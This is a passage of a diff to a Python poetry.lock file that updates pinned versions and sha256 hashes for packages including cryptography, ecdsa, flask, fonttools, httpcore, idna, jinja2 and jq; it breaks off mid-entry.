"cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14"}, + {file = "cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c"}, + {file = "cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a"}, + {file = "cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe"}, + {file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c"}, + {file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71"}, + {file = "cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d"}, + {file = "cryptography-42.0.8-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5a94eccb2a81a309806027e1670a358b99b8fe8bfe9f8d329f27d72c094dde8c"}, + {file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dec9b018df185f08483f294cae6ccac29e7a6e0678996587363dc352dc65c842"}, + {file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:343728aac38decfdeecf55ecab3264b015be68fc2816ca800db649607aeee648"}, + {file = "cryptography-42.0.8-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:013629ae70b40af70c9a7a5db40abe5d9054e6f4380e50ce769947b73bf3caad"}, + {file = "cryptography-42.0.8.tar.gz", hash = "sha256:8d09d05439ce7baa8e9e95b07ec5b6c886f548deb7e0f69ef25f64b3bce842f2"}, ] [package.dependencies] @@ -736,13 +736,13 @@ stone = ">=2" [[package]] name = "ecdsa" -version = "0.18.0" +version = "0.19.0" description = "ECDSA cryptographic signature library (pure python)" optional = false -python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.6" files = [ - {file = "ecdsa-0.18.0-py2.py3-none-any.whl", hash = "sha256:80600258e7ed2f16b9aa1d7c295bd70194109ad5a30fdee0eaeefef1d4c559dd"}, - {file = "ecdsa-0.18.0.tar.gz", hash = "sha256:190348041559e21b22a1d65cee485282ca11a6f81d503fddb84d5017e9ed1e49"}, + {file = "ecdsa-0.19.0-py2.py3-none-any.whl", hash = "sha256:2cea9b88407fdac7bbeca0833b189e4c9c53f2ef1e1eaa29f6224dbc809b707a"}, + {file = "ecdsa-0.19.0.tar.gz", hash = "sha256:60eaad1199659900dd0af521ed462b793bbdf867432b3948e87416ae4caf6bf8"}, ] [package.dependencies] @@ -754,13 +754,13 @@ gmpy2 = ["gmpy2"] [[package]] name = "exceptiongroup" -version = "1.2.0" +version = "1.2.1" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" files = [ - {file = "exceptiongroup-1.2.0-py3-none-any.whl", hash = "sha256:4bfd3996ac73b41e9b9628b04e079f193850720ea5945fc96a08633c66912f14"}, - {file = "exceptiongroup-1.2.0.tar.gz", hash = "sha256:91f5c769735f051a4290d52edd0858999b57e5876e9f85937691bd4c9fa3ed68"}, + {file = "exceptiongroup-1.2.1-py3-none-any.whl", hash = "sha256:5258b9ed329c5bbdd31a309f53cbfb0b155341807f6ff7606a1e801a891b29ad"}, + {file = "exceptiongroup-1.2.1.tar.gz", hash = "sha256:a4785e48b045528f5bfe627b6ad554ff32def154f42372786903b7abcfe1aa16"}, ] [package.extras] @@ -787,13 +787,13 @@ all = ["email-validator (>=2.0.0)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)" [[package]] name = "flask" -version = "3.0.2" +version = "3.0.3" description = "A simple framework for building complex web applications." optional = false python-versions = ">=3.8" files = [ - {file = "flask-3.0.2-py3-none-any.whl", hash = "sha256:3232e0e9c850d781933cf0207523d1ece087eb8d87b23777ae38456e2fbe7c6e"}, - {file = "flask-3.0.2.tar.gz", hash = "sha256:822c03f4b799204250a7ee84b1eddc40665395333973dfb9deebfe425fefcb7d"}, + {file = "flask-3.0.3-py3-none-any.whl", hash = "sha256:34e815dfaa43340d1d15a5c3a02b8476004037eb4840b34910c6e21679d288f3"}, + {file = "flask-3.0.3.tar.gz", hash = "sha256:ceb27b0af3823ea2737928a4d99d125a06175b8512c445cbd9a9ce200ef76842"}, ] [package.dependencies] @@ -809,53 +809,53 @@ dotenv = ["python-dotenv"] [[package]] name = "fonttools" -version = "4.49.0" +version = "4.53.0" description = "Tools to manipulate font files" optional = false python-versions = ">=3.8" files = [ - {file = "fonttools-4.49.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d970ecca0aac90d399e458f0b7a8a597e08f95de021f17785fb68e2dc0b99717"}, - {file = "fonttools-4.49.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac9a745b7609f489faa65e1dc842168c18530874a5f5b742ac3dd79e26bca8bc"}, - {file = "fonttools-4.49.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ba0e00620ca28d4ca11fc700806fd69144b463aa3275e1b36e56c7c09915559"}, - {file = "fonttools-4.49.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdee3ab220283057e7840d5fb768ad4c2ebe65bdba6f75d5d7bf47f4e0ed7d29"}, - {file = "fonttools-4.49.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:ce7033cb61f2bb65d8849658d3786188afd80f53dad8366a7232654804529532"}, - {file = "fonttools-4.49.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:07bc5ea02bb7bc3aa40a1eb0481ce20e8d9b9642a9536cde0218290dd6085828"}, - {file = "fonttools-4.49.0-cp310-cp310-win32.whl", hash = "sha256:86eef6aab7fd7c6c8545f3ebd00fd1d6729ca1f63b0cb4d621bccb7d1d1c852b"}, - {file = "fonttools-4.49.0-cp310-cp310-win_amd64.whl", hash = "sha256:1fac1b7eebfce75ea663e860e7c5b4a8831b858c17acd68263bc156125201abf"}, - {file = "fonttools-4.49.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:edc0cce355984bb3c1d1e89d6a661934d39586bb32191ebff98c600f8957c63e"}, - {file = "fonttools-4.49.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:83a0d9336de2cba86d886507dd6e0153df333ac787377325a39a2797ec529814"}, - {file = "fonttools-4.49.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:36c8865bdb5cfeec88f5028e7e592370a0657b676c6f1d84a2108e0564f90e22"}, - {file = "fonttools-4.49.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33037d9e56e2562c710c8954d0f20d25b8386b397250d65581e544edc9d6b942"}, - {file = "fonttools-4.49.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8fb022d799b96df3eaa27263e9eea306bd3d437cc9aa981820850281a02b6c9a"}, - {file = "fonttools-4.49.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:33c584c0ef7dc54f5dd4f84082eabd8d09d1871a3d8ca2986b0c0c98165f8e86"}, - {file = "fonttools-4.49.0-cp311-cp311-win32.whl", hash = "sha256:cbe61b158deb09cffdd8540dc4a948d6e8f4d5b4f3bf5cd7db09bd6a61fee64e"}, - {file = "fonttools-4.49.0-cp311-cp311-win_amd64.whl", hash = "sha256:fc11e5114f3f978d0cea7e9853627935b30d451742eeb4239a81a677bdee6bf6"}, - {file = "fonttools-4.49.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d647a0e697e5daa98c87993726da8281c7233d9d4ffe410812a4896c7c57c075"}, - {file = "fonttools-4.49.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:f3bbe672df03563d1f3a691ae531f2e31f84061724c319652039e5a70927167e"}, - {file = "fonttools-4.49.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bebd91041dda0d511b0d303180ed36e31f4f54b106b1259b69fade68413aa7ff"}, - {file = "fonttools-4.49.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4145f91531fd43c50f9eb893faa08399816bb0b13c425667c48475c9f3a2b9b5"}, - {file = "fonttools-4.49.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:ea329dafb9670ffbdf4dbc3b0e5c264104abcd8441d56de77f06967f032943cb"}, - {file = "fonttools-4.49.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:c076a9e548521ecc13d944b1d261ff3d7825048c338722a4bd126d22316087b7"}, - {file = "fonttools-4.49.0-cp312-cp312-win32.whl", hash = "sha256:b607ea1e96768d13be26d2b400d10d3ebd1456343eb5eaddd2f47d1c4bd00880"}, - {file = "fonttools-4.49.0-cp312-cp312-win_amd64.whl", hash = "sha256:a974c49a981e187381b9cc2c07c6b902d0079b88ff01aed34695ec5360767034"}, - {file = "fonttools-4.49.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:b85ec0bdd7bdaa5c1946398cbb541e90a6dfc51df76dfa88e0aaa41b335940cb"}, - {file = "fonttools-4.49.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:af20acbe198a8a790618ee42db192eb128afcdcc4e96d99993aca0b60d1faeb4"}, - {file = "fonttools-4.49.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4d418b1fee41a1d14931f7ab4b92dc0bc323b490e41d7a333eec82c9f1780c75"}, - {file = "fonttools-4.49.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b44a52b8e6244b6548851b03b2b377a9702b88ddc21dcaf56a15a0393d425cb9"}, - {file = "fonttools-4.49.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7c7125068e04a70739dad11857a4d47626f2b0bd54de39e8622e89701836eabd"}, - {file = "fonttools-4.49.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:29e89d0e1a7f18bc30f197cfadcbef5a13d99806447c7e245f5667579a808036"}, - {file = "fonttools-4.49.0-cp38-cp38-win32.whl", hash = "sha256:9d95fa0d22bf4f12d2fb7b07a46070cdfc19ef5a7b1c98bc172bfab5bf0d6844"}, - {file = "fonttools-4.49.0-cp38-cp38-win_amd64.whl", hash = "sha256:768947008b4dc552d02772e5ebd49e71430a466e2373008ce905f953afea755a"}, - {file = "fonttools-4.49.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:08877e355d3dde1c11973bb58d4acad1981e6d1140711230a4bfb40b2b937ccc"}, - {file = "fonttools-4.49.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:fdb54b076f25d6b0f0298dc706acee5052de20c83530fa165b60d1f2e9cbe3cb"}, - {file = "fonttools-4.49.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0af65c720520710cc01c293f9c70bd69684365c6015cc3671db2b7d807fe51f2"}, - {file = "fonttools-4.49.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f255ce8ed7556658f6d23f6afd22a6d9bbc3edb9b96c96682124dc487e1bf42"}, - {file = "fonttools-4.49.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d00af0884c0e65f60dfaf9340e26658836b935052fdd0439952ae42e44fdd2be"}, - {file = "fonttools-4.49.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:263832fae27481d48dfafcc43174644b6706639661e242902ceb30553557e16c"}, - {file = "fonttools-4.49.0-cp39-cp39-win32.whl", hash = "sha256:0404faea044577a01bb82d47a8fa4bc7a54067fa7e324785dd65d200d6dd1133"}, - {file = "fonttools-4.49.0-cp39-cp39-win_amd64.whl", hash = "sha256:b050d362df50fc6e38ae3954d8c29bf2da52be384649ee8245fdb5186b620836"}, - {file = "fonttools-4.49.0-py3-none-any.whl", hash = "sha256:af281525e5dd7fa0b39fb1667b8d5ca0e2a9079967e14c4bfe90fd1cd13e0f18"}, - {file = "fonttools-4.49.0.tar.gz", hash = "sha256:ebf46e7f01b7af7861310417d7c49591a85d99146fc23a5ba82fdb28af156321"}, + {file = "fonttools-4.53.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:52a6e0a7a0bf611c19bc8ec8f7592bdae79c8296c70eb05917fd831354699b20"}, + {file = "fonttools-4.53.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:099634631b9dd271d4a835d2b2a9e042ccc94ecdf7e2dd9f7f34f7daf333358d"}, + {file = "fonttools-4.53.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e40013572bfb843d6794a3ce076c29ef4efd15937ab833f520117f8eccc84fd6"}, + {file = "fonttools-4.53.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:715b41c3e231f7334cbe79dfc698213dcb7211520ec7a3bc2ba20c8515e8a3b5"}, + {file = "fonttools-4.53.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74ae2441731a05b44d5988d3ac2cf784d3ee0a535dbed257cbfff4be8bb49eb9"}, + {file = "fonttools-4.53.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:95db0c6581a54b47c30860d013977b8a14febc206c8b5ff562f9fe32738a8aca"}, + {file = "fonttools-4.53.0-cp310-cp310-win32.whl", hash = "sha256:9cd7a6beec6495d1dffb1033d50a3f82dfece23e9eb3c20cd3c2444d27514068"}, + {file = "fonttools-4.53.0-cp310-cp310-win_amd64.whl", hash = "sha256:daaef7390e632283051e3cf3e16aff2b68b247e99aea916f64e578c0449c9c68"}, + {file = "fonttools-4.53.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a209d2e624ba492df4f3bfad5996d1f76f03069c6133c60cd04f9a9e715595ec"}, + {file = "fonttools-4.53.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4f520d9ac5b938e6494f58a25c77564beca7d0199ecf726e1bd3d56872c59749"}, + {file = "fonttools-4.53.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eceef49f457253000e6a2d0f7bd08ff4e9fe96ec4ffce2dbcb32e34d9c1b8161"}, + {file = "fonttools-4.53.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa1f3e34373aa16045484b4d9d352d4c6b5f9f77ac77a178252ccbc851e8b2ee"}, + {file = "fonttools-4.53.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:28d072169fe8275fb1a0d35e3233f6df36a7e8474e56cb790a7258ad822b6fd6"}, + {file = "fonttools-4.53.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4a2a6ba400d386e904fd05db81f73bee0008af37799a7586deaa4aef8cd5971e"}, + {file = "fonttools-4.53.0-cp311-cp311-win32.whl", hash = "sha256:bb7273789f69b565d88e97e9e1da602b4ee7ba733caf35a6c2affd4334d4f005"}, + {file = "fonttools-4.53.0-cp311-cp311-win_amd64.whl", hash = "sha256:9fe9096a60113e1d755e9e6bda15ef7e03391ee0554d22829aa506cdf946f796"}, + {file = "fonttools-4.53.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d8f191a17369bd53a5557a5ee4bab91d5330ca3aefcdf17fab9a497b0e7cff7a"}, + {file = "fonttools-4.53.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:93156dd7f90ae0a1b0e8871032a07ef3178f553f0c70c386025a808f3a63b1f4"}, + {file = "fonttools-4.53.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bff98816cb144fb7b85e4b5ba3888a33b56ecef075b0e95b95bcd0a5fbf20f06"}, + {file = "fonttools-4.53.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:973d030180eca8255b1bce6ffc09ef38a05dcec0e8320cc9b7bcaa65346f341d"}, + {file = "fonttools-4.53.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c4ee5a24e281fbd8261c6ab29faa7fd9a87a12e8c0eed485b705236c65999109"}, + {file = "fonttools-4.53.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bd5bc124fae781a4422f61b98d1d7faa47985f663a64770b78f13d2c072410c2"}, + {file = "fonttools-4.53.0-cp312-cp312-win32.whl", hash = "sha256:a239afa1126b6a619130909c8404070e2b473dd2b7fc4aacacd2e763f8597fea"}, + {file = "fonttools-4.53.0-cp312-cp312-win_amd64.whl", hash = "sha256:45b4afb069039f0366a43a5d454bc54eea942bfb66b3fc3e9a2c07ef4d617380"}, + {file = "fonttools-4.53.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:93bc9e5aaa06ff928d751dc6be889ff3e7d2aa393ab873bc7f6396a99f6fbb12"}, + {file = "fonttools-4.53.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2367d47816cc9783a28645bc1dac07f8ffc93e0f015e8c9fc674a5b76a6da6e4"}, + {file = "fonttools-4.53.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:907fa0b662dd8fc1d7c661b90782ce81afb510fc4b7aa6ae7304d6c094b27bce"}, + {file = "fonttools-4.53.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e0ad3c6ea4bd6a289d958a1eb922767233f00982cf0fe42b177657c86c80a8f"}, + {file = "fonttools-4.53.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:73121a9b7ff93ada888aaee3985a88495489cc027894458cb1a736660bdfb206"}, + {file = "fonttools-4.53.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:ee595d7ba9bba130b2bec555a40aafa60c26ce68ed0cf509983e0f12d88674fd"}, + {file = "fonttools-4.53.0-cp38-cp38-win32.whl", hash = "sha256:fca66d9ff2ac89b03f5aa17e0b21a97c21f3491c46b583bb131eb32c7bab33af"}, + {file = "fonttools-4.53.0-cp38-cp38-win_amd64.whl", hash = "sha256:31f0e3147375002aae30696dd1dc596636abbd22fca09d2e730ecde0baad1d6b"}, + {file = "fonttools-4.53.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d6166192dcd925c78a91d599b48960e0a46fe565391c79fe6de481ac44d20ac"}, + {file = "fonttools-4.53.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef50ec31649fbc3acf6afd261ed89d09eb909b97cc289d80476166df8438524d"}, + {file = "fonttools-4.53.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f193f060391a455920d61684a70017ef5284ccbe6023bb056e15e5ac3de11d1"}, + {file = "fonttools-4.53.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba9f09ff17f947392a855e3455a846f9855f6cf6bec33e9a427d3c1d254c712f"}, + {file = "fonttools-4.53.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0c555e039d268445172b909b1b6bdcba42ada1cf4a60e367d68702e3f87e5f64"}, + {file = "fonttools-4.53.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5a4788036201c908079e89ae3f5399b33bf45b9ea4514913f4dbbe4fac08efe0"}, + {file = "fonttools-4.53.0-cp39-cp39-win32.whl", hash = "sha256:d1a24f51a3305362b94681120c508758a88f207fa0a681c16b5a4172e9e6c7a9"}, + {file = "fonttools-4.53.0-cp39-cp39-win_amd64.whl", hash = "sha256:1e677bfb2b4bd0e5e99e0f7283e65e47a9814b0486cb64a41adf9ef110e078f2"}, + {file = "fonttools-4.53.0-py3-none-any.whl", hash = "sha256:6b4f04b1fbc01a3569d63359f2227c89ab294550de277fd09d8fca6185669fa4"}, + {file = "fonttools-4.53.0.tar.gz", hash = "sha256:c93ed66d32de1559b6fc348838c7572d5c0ac1e4a258e76763a5caddd8944002"}, ] [package.dependencies] @@ -982,13 +982,13 @@ lxml = ["lxml"] [[package]] name = "httpcore" -version = "1.0.3" +version = "1.0.5" description = "A minimal low-level HTTP client." optional = false python-versions = ">=3.8" files = [ - {file = "httpcore-1.0.3-py3-none-any.whl", hash = "sha256:9a6a501c3099307d9fd76ac244e08503427679b1e81ceb1d922485e2f2462ad2"}, - {file = "httpcore-1.0.3.tar.gz", hash = "sha256:5c0f9546ad17dac4d0772b0808856eb616eb8b48ce94f49ed819fd6982a8a544"}, + {file = "httpcore-1.0.5-py3-none-any.whl", hash = "sha256:421f18bac248b25d310f3cacd198d55b8e6125c107797b609ff9b7a6ba7991b5"}, + {file = "httpcore-1.0.5.tar.gz", hash = "sha256:34a38e2f9291467ee3b44e89dd52615370e152954ba21721378a87b2960f7a61"}, ] [package.dependencies] @@ -999,7 +999,7 @@ h11 = ">=0.13,<0.15" asyncio = ["anyio (>=4.0,<5.0)"] http2 = ["h2 (>=3,<5)"] socks = ["socksio (==1.*)"] -trio = ["trio (>=0.22.0,<0.24.0)"] +trio = ["trio (>=0.22.0,<0.26.0)"] [[package]] name = "httpx" @@ -1055,13 +1055,13 @@ idna = ">=2.5" [[package]] name = "idna" -version = "3.6" +version = "3.7" description = "Internationalized Domain Names in Applications (IDNA)" optional = false python-versions = ">=3.5" files = [ - {file = "idna-3.6-py3-none-any.whl", hash = "sha256:c05567e9c24a6b9faaa835c4821bad0590fbb9d5779e7caa6e1cc4978e7eb24f"}, - {file = "idna-3.6.tar.gz", hash = "sha256:9ecdbbd083b06798ae1e86adcbfe8ab1479cf864e4ee30fe4e46a003d12491ca"}, + {file = "idna-3.7-py3-none-any.whl", hash = "sha256:82fee1fc78add43492d3a1898bfa6d8a904cc97d8427f683ed8e798d07761aa0"}, + {file = "idna-3.7.tar.gz", hash = "sha256:028ff3aadf0609c1fd278d8ea3089299412a7a8b9bd005dd08b9f8285bcb5cfc"}, ] [[package]] @@ -1106,24 +1106,24 @@ testing = ["nose (>=1.0)"] [[package]] name = "itsdangerous" -version = "2.1.2" +version = "2.2.0" description = "Safely pass data to untrusted environments and back." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "itsdangerous-2.1.2-py3-none-any.whl", hash = "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44"}, - {file = "itsdangerous-2.1.2.tar.gz", hash = "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a"}, + {file = "itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef"}, + {file = "itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173"}, ] [[package]] name = "jinja2" -version = "3.1.3" +version = "3.1.4" description = "A very fast and expressive template engine." optional = false python-versions = ">=3.7" files = [ - {file = "Jinja2-3.1.3-py3-none-any.whl", hash = "sha256:7d6d50dd97d52cbc355597bd845fabfbac3f551e1f99619e39a35ce8c370b5fa"}, - {file = "Jinja2-3.1.3.tar.gz", hash = "sha256:ac8bd6544d4bb2c9792bf3a159e80bba8fda7f07e81bc3aed565432d5925ba90"}, + {file = "jinja2-3.1.4-py3-none-any.whl", hash = "sha256:bc5dd2abb727a5319567b7a813e6a2e7318c39f4f487cfe6c89c6f9c7d25197d"}, + {file = "jinja2-3.1.4.tar.gz", hash = "sha256:4a3aee7acbbe7303aede8e9648d13b8bf88a429282aa6122a993f0ac800cb369"}, ] [package.dependencies] @@ -1134,100 +1134,100 @@ i18n = ["Babel (>=2.7)"] [[package]] name = "jq" -version = "1.6.0" +version = "1.7.0" description = "jq is a lightweight and flexible JSON processor." optional = false python-versions = ">=3.5" files = [ - {file = "jq-1.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5773851cfb9ec6525f362f5bf7f18adab5c1fd1f0161c3599264cd0118c799da"}, - {file = "jq-1.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a758df4eae767a21ebd8466dfd0066d99c9741d9f7fd4a7e1d5b5227e1924af7"}, - {file = "jq-1.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:15cf9dd3e7fb40d029f12f60cf418374c0b830a6ea6267dd285b48809069d6af"}, - {file = "jq-1.6.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c7e768cf5c25d703d944ef81c787d745da0eb266a97768f3003f91c4c828118d"}, - {file = "jq-1.6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:85a697b3cdc65e787f90faa1237caa44c117b6b2853f21263c3f0b16661b192c"}, - {file = "jq-1.6.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:944e081c328501ddc0a22a8f08196df72afe7910ca11e1a1f21244410dbdd3b3"}, - {file = "jq-1.6.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:09262d0e0cafb03acc968622e6450bb08abfb14c793bab47afd2732b47c655fd"}, - {file = "jq-1.6.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:611f460f616f957d57e0da52ac6e1e6294b073c72a89651da5546a31347817bd"}, - {file = "jq-1.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aba35b5cc07cd75202148e55f47ede3f4d0819b51c80f6d0c82a2ca47db07189"}, - {file = "jq-1.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ef5ddb76b03610df19a53583348aed3604f21d0ba6b583ee8d079e8df026cd47"}, - {file = "jq-1.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:872f322ff7bfd7daff41b7e8248d414a88722df0e82d1027f3b091a438543e63"}, - {file = "jq-1.6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca7a2982ff26f4620ac03099542a0230dabd8787af3f03ac93660598e26acbf0"}, - {file = "jq-1.6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:316affc6debf15eb05b7fd8e84ebf8993042b10b840e8d2a504659fb3ba07992"}, - {file = "jq-1.6.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:9bc42ade4de77fe4370c0e8e105ef10ad1821ef74d61dcc70982178b9ecfdc72"}, - {file = "jq-1.6.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:02da59230912b886ed45489f3693ce75877f3e99c9e490c0a2dbcf0db397e0df"}, - {file = "jq-1.6.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7ea39f89aa469eb12145ddd686248916cd6d186647aa40b319af8444b1f45a2d"}, - {file = "jq-1.6.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:6e9016f5ba064fabc527adb609ebae1f27cac20c8e0da990abae1cfb12eca706"}, - {file = "jq-1.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:022be104a548f7fbddf103ce749937956df9d37a4f2f1650396dacad73bce7ee"}, - {file = "jq-1.6.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d5a7f31f779e1aa3d165eaec237d74c7f5728227e81023a576c939ba3da34f8"}, - {file = "jq-1.6.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f1533a2a15c42be3368878b4031b12f30441246878e0b5f6bedfdd7828cdb1f"}, - {file = "jq-1.6.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aa67a304e58aa85c550ec011a68754ae49abe227b37d63a351feef4eea4c7a7"}, - {file = "jq-1.6.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0893d1590cfa6facaf787cc6c28ac51e47d0d06a303613f84d4943ac0ca98e32"}, - {file = "jq-1.6.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:63db80b4803905a4f4f6c87a17aa1816c530f6262bc795773ebe60f8ab259092"}, - {file = "jq-1.6.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e2c1f429e644cb962e846a6157b5352c3c556fbd0b22bba9fc2fea0710333369"}, - {file = "jq-1.6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:bcf574f28809ec63b8df6456fdd4a981751b7466851e80621993b4e9d3e3c8ee"}, - {file = "jq-1.6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:49dbe0f003b411ca52b5d0afaf09cad8e430a1011181c86f2ef720a0956f31c1"}, - {file = "jq-1.6.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 